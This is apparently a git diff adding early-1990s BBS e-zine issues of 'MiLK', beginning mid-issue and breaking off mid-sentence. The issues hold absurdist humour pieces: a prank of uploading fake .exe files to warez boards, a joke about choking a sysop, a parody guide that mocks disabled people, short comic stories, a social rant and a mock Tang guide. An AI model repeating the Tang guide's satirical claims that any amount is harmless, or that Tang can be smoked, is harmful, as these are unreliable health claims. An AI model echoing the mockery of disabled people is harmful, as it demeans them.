Cthulhu +is rising?". Or another great Message getter is "Yeah, I believe that the +income taxes are a great benefit to the human race as a whole!". If everyone +on the board isn't too Warezized yet, Someone eventually will reply "What the +hell are you talking about?". Then, you can get a conversation going. Maybe +even a Normal conversation that doesn't mention 0-3 days in it anywhere. +Perhaps you can even continue this conversation and even get a few more +Warezites talking. Yes, Warezites Talking about something not file related. +It is possible. If you plan it right, a Chain Reaction can occur and bring +a twist to the common Warez board. Now, if that idea fails, which in reality +it probably will, because the common Warez geek will reply +something in the lines of "Whatever Dude. Hey anybody got that new CoNSoLE +Little People's Farm?" and bring the subject back to the file section, the +next option for You is to u/l fake files. This always causes a stir that +usually ends up sending people to the message bases complaining, and you +can have the opportunity to start up normal conversation. When I say +fake files I mean something along the lines of a .exe file that displays +a Text file "you fucking Warez Geek!" and comes with 2 or 3 megs of useless +.dat Files. The common sysop doesn't even look at the warez u/l'd to him, so +this process might get you somewhere. I suggest that you do this under a +back-up account, just in case the sysop gets a tad annoyed and deletes you. + + If these fail, you can always try becoming good friends with the sysop +and going to his house one day and accidentally editing his board to your +liking. a good band-aid form of reform. And, if all else fails, you can +choke the little fucker by shoving Spam down his throat until he bleeds +internally. Yes, there ARE uses for Spam. I'd Love to hear more ways to foil +the warez atmosphere on BBSes! please leave me mail with YOUR ideas on how to +destroy the common Warez Board. + + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯[MiLK] Information®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + +[MiLK] Sights - The Obloid Sphere (708)965-3098 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + +[MiLK] Issue Number - 2 +[MiLK] Issue Size - 5905 Bytes +[MiLK] Date of Production: 12/27/93 + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Happy people are Ignorant People ®®®®®®®®®®®®®®®®®®®®® diff --git a/textfiles.com/magazines/MILK/milk-003.txt b/textfiles.com/magazines/MILK/milk-003.txt new file mode 100644 index 00000000..1269a6ec --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-003.txt @@ -0,0 +1,77 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue # 3 Û Û +Û²²²²²²²²²Û Liquid "MiLK's Guide To Being An Asshole" Û²²²²²²²²²Û +Û²²²²²²²²²Û illicit By James Hetfield Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + Are you like me, the kind of person that gets easily depressed? Do you +have a low self esteem? Do you feel like you don't have a real friend in the +whole world? Well, we here at MiLK know what it's like to be friend-less. To +have absolutely no social life. To live a pitiful life. We here at MiLK were +once like you, we used to have no lives also! But then we discovered the secret +to social control! Now we're the talk of the town! we're the people you look +forward to seeing at every party you go to! We are the Mr. And Ms. Popular of +the town! What did we find out, you ask? what really IS the big secret to +popularity? + + Totally Ridicule anyone in your path to the top of the social ladder! + + How do you go about doing this? It's all very simple and chronicled +in the official MiLK Guide To Being An Asshole! Yes, that's right, the assholes +of society are the popular ones leading the best lives! In 5 easy installments, +we can teach YOU how to be an asshole! The MiLK Guide To Being An Asshole is +Detailing out the 5 easy steps on how to totally metamorph into an asshole.. + +1. Make fun of those that are less fortunate than you! That's right! Those + Elderly don't stand a chance when you apply the witty remarks within The + MiLK Guide To Being An Asshole! Those Paraplegics will be running home + to mommy when YOU throw the insults at them! Those Epileptics will be + shaking in their boots from the knowledge of how to throw the best put + downs in The MiLK Guide To Being An Asshole! + +2. Make fun of those that are more fortunate than you! The Best way to make + those friends you've always wanted is to bitch about a common bond; Hating + people that have all the power in society! You'll learn how to make a + preppy boy get so frustrated they'll go grunge! + +3. Forget about the people that got you where you are! Leave your old good + friends one you've learned how to become an asshole, and a popular one + at that, from MiLK! + +4. Run for Public office! Yes, one of the best ways to make friends is act + like you Care about the government! Look what MiLK did for Once-Stoner + with no friends, Bill Clinton! Now he has people waiting on him left + and right. And Yes, You too just Like Bill Clinton can be an Asshole + with the help of MiLK! + +5. Finally, the Last Step in becoming an asshole is to constantly drive + during rush hour! Driving during rush hour automatically makes you + an asshole, but with MiLK we can teach you how to annoy the maximum + possible people! + + It's all made to look like Child's Play with the MiLK guide to +Being an Asshole! You can pick up your copy at any MiLK Courier, or +send 5 easy installments of $19.99 to: + + MiLK's Guide To Being An Asshole + P.O. Box 5049 + Kennelworth, IL + 25125 + + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯[MiLK] Information®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + +[MiLK] Sights - The Obloid Sphere (708)965-3098 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + +[MiLK] Issue Number - 3 +[MiLK] Issue Size - 4022 Bytes +[MiLK] Date of Production: 12/27/93 + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Happy people are Ignorant People ®®®®®®®®®®®®®®®®®®®®® diff --git a/textfiles.com/magazines/MILK/milk-004.txt b/textfiles.com/magazines/MILK/milk-004.txt new file mode 100644 index 00000000..ed2752a8 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-004.txt @@ -0,0 +1,42 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue # 4 Û Û +Û²²²²²²²²²Û Liquid "The Hunt" Û²²²²²²²²²Û +Û²²²²²²²²²Û illicit By James Hetfield Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + The cow stood there motionless, gazing down its prey. +Yes, last time it may have missed the chance of catching the +little devils, but this time, this time he shall not miss. +This time, he had a plan... he would slowly but shurely move +its way up to the enemy, and then with blazing speed show no +mercy as he catches the prey in his mouth and slowly, +painfully gnaw at the prey while the prey feels its agonizing +pain of the molars of the cow collapsing down upon them. This +time, the cow would not fail. It carried out its plan. +Slowly, to the onlooker you could not even tell the cow was +moving, but it was, moved its way towards the prey. The prey +did not even see the mammoth of the cow coming at them, for +the cow was successfully deceiving the poor prey. The cow was +in range. It swiftly (As swiftly as a cow can..) caught the +foe in its mouth. She had the catch! She gleefully chewed and +grazed on the fallen Prey. As the prey bled its juices inside +the cows mouth, all that could be heard was a munching noise. +And a munching noise it was the last thing the poor blades of +grass heard. + + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯[MiLK] Information®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + +[MiLK] Sights - The Obloid Sphere (708)965-3098 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + +[MiLK] Issue Number - 4 +[MiLK] Issue Size - 2186 Bytes +[MiLK] Date of Production: 12/28/93 + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Happy people are Ignorant People ®®®®®®®®®®®®®®®®®®®®® diff --git a/textfiles.com/magazines/MILK/milk-005.txt b/textfiles.com/magazines/MILK/milk-005.txt new file mode 100644 index 00000000..2f0a197d --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-005.txt @@ -0,0 +1,72 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue # 4 Û Û +Û²²²²²²²²²Û illicit "Carrie Jacobson: A Case Study" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Epic Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + Let's take some time to talk about Carrie Jacobson. She's a MiLK +drinker. She gets a lot of attention, but from me, she gets total attention. + + Those are the lines you all know and love. But take a step back, and +the story of Carrie isn't so clear. It seems that Carrie was a crack baby. +Her mother was shot by some wiggers right after giving birth. The hospital +gown that she was wearing was the "wrong" gang colors of the turf she was in. +Well, her daddy skipped town, and poor little Carrie was thrown into an +orphanage right from birth. + + Some of you might know how cruel young children can be, and Carrie's +orphan-mates weren't much different. They did evil and unnatural things to +her, such as making her drink draino, and making her eat those nasty green +reject potato chips. They would do illegal and immoral acts, like ripping +the tags off of their mattresses, and when officer O'Malley came busting +down the orphanage door, all fingers were pointed at Carrie. + + Carrie didn't even learn to read until much later in her life. No one +cared enough about her to enroll her in the "Hooked on ph0nics" learning +system. Hell, they wouldn't even buy her a Teddy Ruxpin(tm) doll for her +birthday. She was a young, and bitter child, until one of her few friends +introduced her to the healthy, fun filled world of milk. + + She got out of the orphanage, and got herself a job packing meat; life +was looking up. Her future was so bright, she had to wear shades (sorry, bad +80's music reference). She began to use deodorant for the first time, and also +learned how to wipe plaque away with Tartar Control Crest. Carrie started to +become a "popular" girl at her school, and she was happy. + + But what really gave her inner fulfillment and peace was her love for +milk. She enjoyed milk in all of its forms, homogenized, pasteurized, skim, +%2, %42, even butter milk. She poured her milk over milk products like cheese, +yogurt, and ice cream. She even ate sourdough bread, because the sour taste +reminded her of curdled milk. Carrie had nice hair and a nice smile, and +she owed it all to milk. + + I plan to marry Carrie someday. Right now she's getting a lot of +attention from that guy in the commercial, but someday, she will be mine. + + Oh yes, she will be mine. + + Well, that is all, for this, the first real text file I have written +about anything. I hope you enjoyed it, and I hope it hasn't caused any damage +to your vital internal organs. I dream of being accepted into MiLK, where I +can write wonderfully meaningless text files like this all night and day. +My name is Epic, and this has been another piece of your ultimate +assimilation. Thank you very much. + + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯[MiLK] Information®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + +[MiLK] Sights - The Obloid Sphere (708)965-3098 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + +[MiLK] Issue Number - 5 +[MiLK] Issue Size - 3871 Bytes +[MiLK] Date of Production: 01/04/94 + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Happy people are Ignorant People ®®®®®®®®®®®®®®®®®®®®® diff --git a/textfiles.com/magazines/MILK/milk-006.txt b/textfiles.com/magazines/MILK/milk-006.txt new file mode 100644 index 00000000..c8cf9c09 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-006.txt @@ -0,0 +1,171 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue # 6 Û Û +Û²²²²²²²²²Û illicit "Pete" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Nyarlathotep Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + Here's a little story about what not to do on a lamprey hunt, +how to avoid the vicious 2 headed venomous Lamprey, and how to cook +really good grilled cheese sandwich. + + Pete was you're average Lamprey hunter. "The Field Guide to +Lampreys" {BLaH #42, Available at your favorite BLaH T} and all of +it's appendices were like a bible to him. He kept a trusty machete by him +at all times, and was prepared to go wherever he must, to do whatever he +must, to rid the world of Lampreys. He didn't count on going to a Lamprey +fortress, however. + + It was a sunny Saturday in July that this narrative takes place, +and Peter was ready for a weekend of good clean Lamprey destroying. He +had prepared himself by getting his machete and axe sharpened, filled +his oxygen tanks, for he planned to hunt underwater, and had gotten some +waterproof ammunition for his emergency shotgun (not vital to Lamprey +hunting, but handy in certain situations). He kissed his mommy good-bye +(he was 37, but he still lived with his parents.. Lamprey hunting does <-\ +not afford one much opportunity to make money, and also, its not a great | +way to pick up chicks) and headed off for the lake. / + {GeT a LiFe!} / + + The Lampreys knew that Pete was a threat, he was one of the most +deadly hunters they had ever seen, besides the infamous Nyarlathotep, so +they posted sentinels near his house. A squad of lesser land Lampreys +was constantly patrolling his house, and at any sign of hunter activities, +they would rush back to base and inform them. However the squad leader +on this day was a little over zealous... he wanted to take matters in +his own hands and attack Pete himself. + One might think "How can a squad of 5 lesser Lampreys hope to +win against a skilled Lamprey hunter?" Well, they didn't stand a chance. +Theoretically at least. Unfortunately for Pete, he had his weapons in +his backpack, for he was confident that no Lampreys would be so close to +his house. (THIS IS WHAT NOT TO DO ON A LAMPREY HUNT: NEVER, NEVER, +NEVER LEAVE YOURSELF UNDEFENDED) <=- {The MoRaL of the Story!} + The Lampreys pounced on him, surprising him, and quickly knocked +him out due to bludgeoning and loss of blood. They could have easily +killed him, but the squad leader thought he'd get more acclaim for him +and his squad. He'd bring Pete back for questioning... and this they did. + + *********{COOL TRANSITION LINE!}********* + + Pete woke up some place dark and smelly. He reached for his +backpack, but alas, it was gone. Luckily for him, he always hid some +emergency supplies upon his body and in his clothes. He ripped the +matches out of his jacket lining, and lit one. He could see that he was +in some sort of cavern, and that the way out was barred... He noticed +to his horror that the cell was guarded by a two headed venomous +Lamprey. These beasts are over 8 feet long, can survive on dry land for +several days, and their bite can release a powerful nerve toxin that +could kill a man in minutes. They do have one weakness however, which we +will get to later. + Pete looked at the lock to the cell (the Lamprey was across the +hall and couldn't see what he was doing). It was a simple lock, and Pete +was a good boy and read his Lockpicking t-files {what an anarchist wannabe} +when he was a boy. A minute later the cell was unlocked, and Pete was all +but free. Now what he had to do is get past the guard. + Now, not many people know this, but the two headed venomous Lamprey +has very peculiar vision. Unlike most predators that see only quick +movements, this beast sees only slow movements. It is also quite deaf, but +it does posses a thermal detection similar to pit vipers. + It knew that Pete was in the hallway the second he got out, and +began slithering over to him. Hoping to surprise the beast, Pete charged by, +leaving the poor Lampreys vision in the dust, and escaping down a tunnel. +Luckily at the end of the tunnel was his backpack and gear. Pete pulled +out his machete, checked to make sure that his shotgun was loaded, and +attached his axe by his side. + Strangely there seemed to be no Lampreys there. But of course he +was hopelessly lost in a subterranean Lamprey Fortress. Luck was with Pete +that day, and the path he took led him straight to an exitway. Unluckily it +was guarded by a squad of electric Lampreys. His machete and axe would be +all but useless here, as any blow had the potential of knocking him +unconscious, due to the Lamprey's large electrical output. It was for +times like these that Pete carried his shotgun. Unfortunately it was +only a doublebarrel shotgun, and it would be unpractical to reload in +the heat of battle (he made a mental note to invest in a pump actions). +But it was sawed off, and if he was lucky the spread would be enough to at +least injure all 4 Lampreys. + The Lampreys were positioned two on either side of the door. +perfectly grouped for his two blasts. Pete snuck up as close as he +dared, pointed and BLaM BLaM, he fired both shots in rapid succession, +blowing one lamprey to smithereens, and knocking 2 others back into the +wall. However one remained unscathed. This Lamprey quickly pulled the +lever that slammed down the wooden portcullis, and raised the alarm. A +smile could almost be seen on his jawless face as he approached Pete, +electricity arcing, the smell of ozone in the air. + Pete knew his chances were poor. Electric Lampreys are hard to +fight hand-to-hand unless you are properly equipped with non-conducting +equipment. But still he had an idea. He threw his machete with all his +might, praying to slaw the fiend. The blade flew through the air and +made contact, but that only served to enrage the Lamprey more... +electricity bolted down its length. It let out a hiss, and Pete swung +his shotgun at it, letting go the moment before impact. The Lamprey was +thrown to the ground, stunned. This at least bought Pete some time. + + He couldn't reload, because he dared not touch the shotgun, +still in contact with the Lamprey. His only hope was to cut through the +portcullis with this axe before the Lamprey came to its senses. He +charged the thick wooden door and began chopping like made, in a +beserker furry. One beam cut, two beams cut, three beams cut, four. With +a mighty blow he knocked out a small square in the door, just as he +heard reinforcements coming down the hall. He dove through the door, +into a wooded area. + + He then ran as fast as he could. He knew not where he was, but +he knew they would be following him. He had to get as far away from +there as possible as fast as he possibly could. He ran and ran and ran +{and ran} for close to 45 minutes, when he came upon a house. He knocked +on the door and passed out on the porch. + + A little while later a woman answered the door, and saw Pete +lying on her porch. At first she panicked, but then she decided she'd +better help him out. She dragged him into the house, and gave him some +water. He soon revived. He asked the woman where he was. Elgin was her +reply, He realized that he was quite far from his house, and then +realized he didn't even know what time it was. What day even. He found +out it was early Sunday morning, which explained the far distance. Only +then did he remember that the Lampreys were following him. + + "Lampreys?" she inquired "Why are there Lampreys following you?" +He told her that he'd explain, but first he'd better call his mom and +tell her that he was all right. After a prolonged phone call ("Are you +sure you're all right dear? I was worried sick...") he told the woman the +story of his hunt go awry. + + "You hunt Lampreys?" she asked. "I'm sort of a Lamprey hunter +myself, part time. Linda's the name." she added, when she realized +that they hadn't introduced on another. "But speaking of Lampreys, we'd +better get prepared in case they attack. I doubt they followed you +here, but... just in case..." she walked down to here basement and came +up with a couple of machetes and a pump-action shotgun, "We better be +prepared. I'll lock all the windows and doors." She flipped a switch on +the wall and steel gratings covered the windows, and the familiar hum of +magnetic locks could be heard on the door. + + "I bet you're starved" said Linda, "How 'bout I make you a +grilled cheese sandwich. I do it very well. I make a large puddle of +butter in the pan, and cook it until it is nice and golden brown, and it +becomes crunchy, and not too chewy..." + + Having not eaten for 24 hours, Pete agreed, and found the +sandwich much to his liking. The Lampreys never did come. + + + Will Linda and Pete's Future look bright? Will a lamprey onslaught +occur? WILL LINDA SHARE MORE OF HER RECIPES?!?!?!?!? Learn all this, AND MORE, +in the Next installment.... of "Pete". + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯[MiLK] Information®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + +[MiLK] Sights - The Obloid Sphere (708)965-3098 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + +[MiLK] Issue Number - 6 +[MiLK] Issue Size - 10156 Bytes +[MiLK] Date of Production: 01/06/94 + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Save a Potato! They Might Be Worth Something! ®®®®®®®®®®®®®® diff --git a/textfiles.com/magazines/MILK/milk-007.txt b/textfiles.com/magazines/MILK/milk-007.txt new file mode 100644 index 00000000..e45935df --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-007.txt @@ -0,0 +1,117 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue # 4 Û Û +Û²²²²²²²²²Û illicit "Are You Easily Influenced?" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Epic Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + Well, here I am, again, writing another file on this computer. This +same computer that my parents bought for me. Poor children living in poverty +don't have this computer, or any computer for that matter. They are lucky to +get a hold of a digital watch. You know why? Not because I'm any better or +more deserving then they are, but because my dad has a nice cushy job. Yes, +my father is an 'executive' at a 'corporation'. Which means, basically, that +he managed to swindle more money out of people then Jethro Poor Boy's daddy +did, and therefore, I have a computer. + + Is it right? No. Do I have a point? Yes. The point is, is that our +society today flat out sucks. Look around yourself. Maybe take a trip up to +your lovely shopping mall. Step into the arcade, and have a listen. You'll +hear screams of terror radiating from Terminator 2, see limbs being severed +in Time Killers, and you will also see little supposedly innocent kids beating +the shit out of metal alligators, to win tickets. + + Our society is fucked from the start. No one is going to grow up to be +a nice and pleasant kid with all these evil influences. Maybe you aren't the +gaming type. Step into your local Kay Bee toy stores, a symbol of kids, and +the purest example of what we provide for our kids to play with. Play is +innocent, right? Well, just about the only kind of toys you will find in that +store are weapons of war (that light up, shoot real darts, even make realistic +screaming death noises), and sports equipment. Sports stuff may seem passive +enough, but when you think about it, what ARE sports? Basically just a game +of a war. Hey, maybe if your daddy has a nice cushy job he'll be able to buy +you some of that neat stuff for Christmas. + + Speaking of Christmas : it's a religious holiday, right? Even if you +don't believe in that particular religion, your life has been in some way +affected by the "holiday" of Christmas. Do you even know WHY people celebrate +Christmas? Something about Jesus I thought. I don't even know what exactly. +All I was taught was that ever since the stork dropped me off, Santa comes +every year to drop off my load of presents if I'm good. Sounds like religion +to me. + + Propaganda is constantly being shoved down your throat from every +direction. If you've ever watched a commercial on TV (probably imbedded with +subliminal messages) that's a fine example right there. Just about everything +you run into in today's society is just propaganda for something or another. +How about this: Picture yourself as a young, impressionable kid, going to +Burger King with your parents, and they buy you the "Kid's Club Meal". Well, +having just learned to read, you are filled with curiosity, and start reading +the back that your soy-bean burger came in. You find this (keep in mind that +this is REALLY what is on the back of their bags. I have the bag right here +in front of me): + + * The BURGER KING(r) Kids Club is totally cool. We're the Kids Club +Kids, and we like all the same things YOU do. We like having fun, whether +we're playing or working TOGETHER. We also like doing fun things with YOU. +We like sports, and always being GOOD sports ... But what we'd REALLY like +would be for you to JOIN the Kids Club. It's fun and free. Just fill out the +Application Form on this bag. * + + Now does that sound like some WWII era Nazi material or what? I bet +soon the adult's meals will have advertisements telling you all about how +"The Burger King Nazi Party is TOTALLY COOL!". All you wanted was to get a +simple greasy lunch, and you end up with trash shoved down your throat. + + If you've even read down this far, give yourself a slap on the ass +for me. Maybe you aren't as apathetic as most of the world is. So I guess you +deserve for me to tell you my point of this file, right? Alright, fine. + + As I said before, our society sucks. It has been fully proven, here +and elsewhere that our government (ever notice how we refer to the government +as 'they'? As in 'They raised my goddamn taxes for the 50th time to buy a +new Stealth bomber'. Isn't the government supposed to be WE, the people?) +and our society in general just sucks. So fuck it. Open your eyes, look +around you and your life to see what's real. Be your own person, if you feel +like going to your local mall, and insisting to people that you are glass of +orange juice, do it! If you feel like driving around blasting Barney out of +your car stereo at fragile old people, go ahead! Why not? Who cares what +society thinks of you, because society is a fuckin piece of bullshit. Other +people will find you "strange", SURE, this is not because you ARE strange, it +is because you don't follow along with their set of standards that they have +been programed with from birth, staring at TV, and eating filet-o-fish. +De-program yourself, it's not too late. Turn OFF the TV for good, stop reading +the newspaper, perhaps drop a sugar cube or two into your coffee (with MiLK +of course), masturbate if you're in the mood, and just sit there and think. +Look at your own little plot in the hellpit of life, and enjoy it for what +it is. Sure, PEOPLE suck, but that doesn't mean that your life has to suck +all the time. + +Thank you, and have a pleasant night, with lots of lust. Hopefully. + +Gratings and salutations TO - Guido Sanchez (even though I've only talked to + you once, you are my hero) + J Mascis (my other hero) + Mike Patton (yet another hero) + Rodney Rathbone + All Phringers + And licked, but not leashed.. + My Beautiful Bitch + + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯[MiLK] Information®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + +[MiLK] Sights - The Obloid Sphere (708)965-3098 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + +[MiLK] Issue Number - 7 +[MiLK] Issue Size - 6976 Bytes +[MiLK] Date of Production: 01/06/94 + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Save a Potato! They Might Be Worth Something! ®®®®®®®®®®®®®® diff --git a/textfiles.com/magazines/MILK/milk-008.txt b/textfiles.com/magazines/MILK/milk-008.txt new file mode 100644 index 00000000..7796d3ea --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-008.txt @@ -0,0 +1,197 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue # 8 Û Û +Û²²²²²²²²²Û illicit "Tang Beverage Crystals.." Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Epic Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + + Well, it has just recently occurred to me that some of you have not +yet been acquainted to the divine beverage known as Tang. Milk is, of course, +a healthy source of calcium, and is needed for a "balanced diet", but if you +travel farther out in the world of elixirs, you will doubtlessly return +stirring a thick glass of Tang. + + As most of you know, what you get when you purchase Tang is basically +a big jar with stuff in it. The stuff inside is what we are interested in +here (although the jars have many uses of their own, which will be discussed +in greater detail later). Tang is a orange granular powder, when combined +with water, or combined with the saliva in your mouth, that produces a +wonderful taste sensation. + + If you read the label on the nearest jar of Tang, it will become +apparent that Tang is very beneficial to your lifestyle. + + * Contains 100% US RDA for Vitamin C (refer to appendix A for complete + US RDA statistics) + * Also contains 5 other essential vitamins + * Natural orange flavor + * No preservatives + + Tang, like breakfast cereal, can be purchased in many different sizes, +ranging from 15 ounce jars, to giant 5 pound containers (for the true +connoisseur). Tang beverage crystals can be found at most major supermarkets. +But, there are some things to watch out for when you go to your local Jewel to +buy Tang. In it's natural, pure powder form, Tang is a tasty drink. However, +merchandisers have set out to cash in on the Tang phenomenon. There is an +'alternate' flavor, called "MANGO TANG", which is now being sold on +supermarket shelves. Whatever you do, DO NOT BUY IT. It is not the "natural +orange flavor" that you were expecting, but simply a disgusting blend of +tangerines, mangos, and other tropical fruits that Mr. Tastebud would +definitely give a thumbs DOWN to. Tang is also marketed in juice box +containers along with drinks such as Hi-C. Although this form of Tang has +vaguely the correct flavor, it's potency is DRASTICALLY less then a well-mixed +glass of regular Tang. These boxes are like Tang for infants. + + But I know you people out there are not infants, and desire real +quality, strong taste in your beverage. Well, look no further, because I will +now give Epic's instructions for mixing a proper dosage of Tang. There are +instructions for this mixing on the label of the jar, but these are wholly +inadequate for our purposes. First of all, you'll have to remove the lid. +There should be a thin paper layer (with the Tang logo embossed across it) +that completely separates the Tang from the open air. This is to preserve +freshness, and to ensure safety (you wouldn't want Bad Mr. Psycho putting any +poisons into your beverages). Strike this barrier with your knuckle with +moderate force, and it will break with a satisfying . Magic Tang dust +will most likely be spread out into the air, but do not fear, there is much, +much more where that came from. + + You will now need to locate something suitable to drink your Tang out +of. Glasses work fine, but I prefer a large frosted mug. Pour your desired +amount of beverage crystals into the glass. There is a chart on the side of +the jar with suggested amounts. Throw this away, and maybe even stomp on it +before you do so. It is weak. My standard measure would be to multiply the +suggested levels by four or five (The jar recommends 4 teaspoons for one +glass. You should use about 16-20 teaspoons). With a little practice you can +measure this level by eyesight, and will never have to measure your Tang +again. + + After your Tang has been successfully transferred in a proper amount +into your holder of choice, it is time for the liquid to be added. You can +use water (tap, from the fridge, bottled, distilled, 2%, from your showerhead, +in gaseous form, etc. Any form really will do.) or whatever other kinds of +creative juices that you can come up with. Stir the liquid into your Tang with +a stirring utensil, and then your task is completed. + + Having successfully mixed a glass of Tang, put your sweet lips to +your glass and enjoy. If you feel that your dosage of beverage crystals is not +strong enough, add more. And be generous, share your Tang with your friends, +and let them know what a wonderful thing that Tang can be for you both. + + I would like to take this portion of this file to clear up some +'myths' about Tang that have been floating around for some time. + +Myth : You can get AIDS from sharing a glass of Tang. +FALSE: There has not once been a confirmed case of Tang being a carrier for + the AIDS virus. + +Myth : If you drink too much Tang, you can get sick. +FALSE: Tang is pure goodness. Although Vitamin C can be toxic in massive + amounts, the amount ingested through drinking Tang, no matter HOW + much, could really not adversely affect your health at all + +Myth : Tang is habit-forming. +TRUE : Although medical studies have proven that Tang cannot cause a chemical + dependency, drinkers of Tang tend to want more and more. This is not + due to any addictive substances in the drink, but however the pleasant + taste sensations that Tang gives to the human mouth. + +Myth : Eating Tang raw is bad for you. +FALSE: ABSOLUTELY not. One of the best ways to enjoy Tang is direct from the + beverage crystals. Licking your finger and sticking it in the jar, or + even taking a mouthful directly from the jar are perfectly acceptable + means of ingesting this divine substance. The raw crystals can in no + way be harmful to you, and often provide a better, more potent tangy + flavor. + + With some of those myths cleared up, hopefully people will be able to +enjoy their Tang without fear. Simple nourishment and taste is not the only +thing that can be gained from this wonderful substance. Here are some other +uses for Tang that me and various friends have discovered : + + * Smoking material - If mixed with tobacco (or other smokeable + substances), Tang can be smoked. It adds a definite twist of flavor + to the smoke, which some people find quite enjoyable, and enhances + the smoking experience. + + * Hair dye - If especially potent Tang is mixed (approx. 1 part Tang + to 1 part water), the mixture can be used to add a shiny orangish + tint to hair, which is very attractive. This works best on blonde + hair, but may show some results for darker shades. + + * Flavoring for tea and coffee - Replace your sugar bowl with a jar + of Tang for a refreshing new flavor for your other beverages. + + * Jewelry - The lid and jar of Tang can be used in making various kinds + of jewelry (such as necklaces, bracelets, and earrings) that can even + be sold at a comfortable profit) + + * Communication - As with cans, empty jars of Tang can be an economical + device for communication. Simply attach a string to the bottoms of + two jars, and speak into the hole while the other person listens + through the whole. Watch AT&T have a conniption when they start losing + customers to the Tang Friends and Beverages Program. + + * Deodorant - Just vigorously shake your jar of Tang, and then remove + the lid. Powderised Tang will emanate from the jar, filling the area + with an aromatic fragrance sure to combat any nasty odors. + + * Freshness - Just like baking soda, you can place an open jar of Tang + anywhere to keep things fresh. It improves the air quality, and even + repels moths! + + * And lastly, Recycling - Your Tang jar is an eco-friendly container. + After enjoying the last of your beverage crystals, you can use the jar + to store anything around your home that might need storage. And if you + don't need to store anything around your home, take the jar to your + local recycling center, and Captain Planet himself will give you a + thumbs up! + + I think that's about all for this informative study of the beverage +known as Tang. Please show this to all of your beverage drinking friends, and +spread the holy word of Tang around as much as possible. If you have any +questions about Tang, I (Epic), can be easily reached on the Lunatic Phringe +BBS (708-232-0565), or the Obloid Sphere (708-965-3098). There is also a hot +line provided by Kraft General Foods (the makers of Tang) for any of your +questions or comments. Feel free to call 1-800-431-1002, toll free, 9-4 (EST), +weekdays only. Thank you, and remember, FUCK moderation, grab yourself some +Tang and DRINK UP. + + Meetz + Greetz = Frizzle Fry, Puddlez, Rodney Rathbone, Tommy The Cat, + Nature Boy, DanziG, and all my other Tang drinkin' + buddies. I couldn't have done this without you guys. + + ------------------------------------------------------------ + +Appendix A - US RDA Nutrition Information Per Serving (*) + +Serving Size... 6 fl oz. Calories...... 70g Protein........ 0g +Carbohydrates.. 19g Sodium........ 0g Fat............ 0g + +* - Note that Epic's suggested serving size is 4-5 times the 